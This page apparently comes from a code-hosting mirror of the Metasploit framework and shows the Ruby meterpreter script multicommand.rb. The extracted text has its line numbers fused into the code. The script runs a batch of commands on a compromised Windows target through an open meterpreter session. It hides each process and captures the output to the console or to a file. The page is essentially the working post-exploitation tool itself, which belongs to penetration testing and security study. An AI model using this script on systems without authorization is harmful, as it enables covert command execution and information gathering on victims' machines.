Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/multicommand.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678#Meterpreter script for running multiple commands on Windows 2003, Windows Vista9# and Windows XP and Windows 2008 targets.10#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com11#Version: 0.112################## Variable Declarations ##################13session = client14wininfo = client.sys.config.sysinfo15# Setting Arguments16@@exec_opts = Rex::Parser::Arguments.new(17"-h" => [ false,"Help menu." ],18"-c" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],19"-f" => [ true,"File where to saved output of command."],20"-r" => [ true,"Text file with list of commands, one per line."]21)22#Setting Argument variables23commands = []24script = nil25outfile = nil26help = 02728################## Function Declarations ##################29# Function for running a list of commands stored in a array, returns string30def list_exec(session,cmdlst)31print_status("Running Command List ...")32tmpout = ""33cmdout = ""34r=''35session.response_timeout=12036cmdlst.each do |cmd|37next if cmd.strip.length < 138next if cmd[0,1] == "#"39begin40print_status "\trunning command #{cmd}"41tmpout = "\n"42tmpout << "*****************************************\n"43tmpout << " Output of #{cmd}\n"44tmpout << "*****************************************\n"45r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})46while(d = r.channel.read)47tmpout << d48break if d == ""49end50cmdout << tmpout51r.channel.close52#r.close53rescue ::Exception => e54print_status("Error Running Command #{cmd}: #{e.class} #{e}")55end56end57cmdout58end59# Function for writing results of other functions to a file60def filewrt(file2wrt, data2wrt)61output = ::File.open(file2wrt, "a")62data2wrt.each_line do |d|63output.puts(d)64end65output.close66end6768def usage69print_line("Windows Multi Command Execution Meterpreter Script ")70print_line(@@exec_opts.usage)71raise Rex::Script::Completed7273end7475################## Main ##################76@@exec_opts.parse(args) { |opt, idx, val|77case opt7879when "-c"80commands = val.split(",")81when "-r"82script = val83if not ::File.exist?(script)84raise "Command List File does not exist!"85else86::File.open(script, "r").each_line do |line|87commands << line.chomp88end89end90when "-f"91outfile = val92when "-h"93help = 194end95}9697if args.length == 0 or help == 198usage99elsif commands or script100if outfile101filewrt(outfile, list_exec(session,commands))102else103list_exec(session,commands).each_line do |l|104print_status(l.chomp)105end106end107raise Rex::Script::Completed108else109usage110end111112113